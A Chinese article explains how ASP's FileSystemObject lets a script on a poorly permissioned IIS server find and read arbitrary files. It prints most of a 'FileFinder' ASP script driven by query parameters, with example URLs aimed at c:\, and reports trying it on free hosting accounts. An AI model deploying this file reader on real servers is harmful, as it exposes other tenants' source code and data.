选择显示字体大小

asp中fso对象对iis web服务器数据安全的威胁及对策

     scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。
  
  在继续深入讨论之前,请先到作者的主页http://263.csdn.net/edyang/ download 区 source 分栏下载 filefinder asp 源代码。
  
  filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。
  
  最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。
  
  
  
  function findfiles(strstartfolder, strext)
  
   dim n
  
   dim othisfolder
  
   dim ofolders
  
   dim ofiles
  
   dim ofolder
  
   dim ofile
  
  
  
   ' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错
  
   ' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去
  
   on error resume next
  
   n = 0
  
   response.write "<b>searching " & strstartfolder & "</b><br>"
  
   set othisfolder = g_fs.getfolder(strstartfolder)
  
   set ofiles = othisfolder.files
  
   for each ofile in ofiles
  
   ' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd
  
   ' 在这里是 cmd=read,即读出指定物理路径的文本文件
  
   if issuffix(ofile.path, strext) then
  
   response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"
  
   if err = 0 then
  
   n = n + 1
  
   end if
  
   end if
  
   next
  
   set ofolders = othisfolder.subfolders
  
   for each ofolder in ofolders
  
   n = n + findfiles(ofolder.path, strext)
  
   next
  
   findfiles = n
  
  end function
  
  下面的代码是对 url 后面的参数进行分析:
  
  
  ' 读出各个参数的值
  
  strcmd = ucase(request.querystring("cmd"))
  
  strpath = request.querystring("path")
  
  strext = request.querystring("ext")
  
  brawdata = ucase(request.querystring("raw"))
  
  ' 默认搜索 .asp 文件
  
  if strpath = "" then
  
   strpath = "."
  
  end if
  
  if strext = "" then
  
   strext = ".asp"
  
  end if
  
  
  ' 根据不同的命令 cmd 执行不同的代码
  
  select case strcmd
  
  case "find"
  
   response.write findfiles(strpath, strext) & " file(s) found"
  
  case "read"
  
   if brawdata = "t" then
  
   response.write readtextfile(strpath)
  
   else
  
   response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"
  
   end if
  
  case else
  
   response.write "<h3>please specify a command to execute</h3>"
  
  end select
  
  从上面的分析可以看出,如果有足够的权限的话,我们就可以通过 filefinder 来查找 iis web 服务器上的任意文本文件,并且可以轻松的察看文件内容。对于非文本文件,可以确定他们是否存在及其所在路径,这对于高级 hacker 们来说,这些信息有时是极其重要的。
  
  但是这些对数据安全的威胁的前提条件是执行 ff.asp 的用户至少拥有读取目录和文件的权限。由于 windows nt server 在安装后的默认安全设置是所有用户都可以“读取”目录和文件,所以不管是 iis 默认的你名用户 iusr_servername 还是别的什么用户,都可以顺列的读取目录和文件的信息。而大多数 windows nt server系统管理员主要关心系统是否能够运行的起来,一般不愿意去改动默认的目录和文件权限,毕竟那样做要冒很大的风险,而且需要很多次得经验。所以,我们可以用 filefinder 来检查作为 web 服务器的 nt server 的文件系统的安全设置是否安全
  
  作者专门对作为 iis web 服务器的文件系统的权限进行了人工设置,但限于没有经验,导致了许多奇怪的错误现象,如:所用的做实验的 nt server 4.0 不能进行 access 数据库的连接。而在进行文件系统权限改动之前,这些功能是正常的。
  
  本着纯粹研究的目的,作者还在我所申请的免费 asp 空间上作了试验(包括 csdn 提供的我的个人主页),结果是 filefinder 都可以顺利运行。而在http://www2.domaindlx.com/index.html 申请的个人主页却没有这个问题,可见这个免费 asp 主页提供商在这方面做的还是比较认真的。尽管 domaindlx 的 web 服务器运行在 windows 2000 server 上的,其默认的文件系统的安全权限和 nt 4.0 没有很大的差别。
  
  由于作者的能力有限,就对这个问题讨论到这里。仅以此文来向国内的 asp 主页提供商提供参考意见,希望能对提供商和客户双方的数据安全都有所帮助。
  
  附:用其它类似的服务器端脚本来运行的 web 服务,如果也提供类似 scripting.filesystemobject 的对文件系统操作的功能,不管什么平台应该存在同样的问题。
  例了:
  http://localhost/edyang/ff.asp?cmd=find&path=c:http://localhost/edyang/ff.asp?cmd=find&path=c:\my documents&ext=txt&raw=true
  
  
  
  
    


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons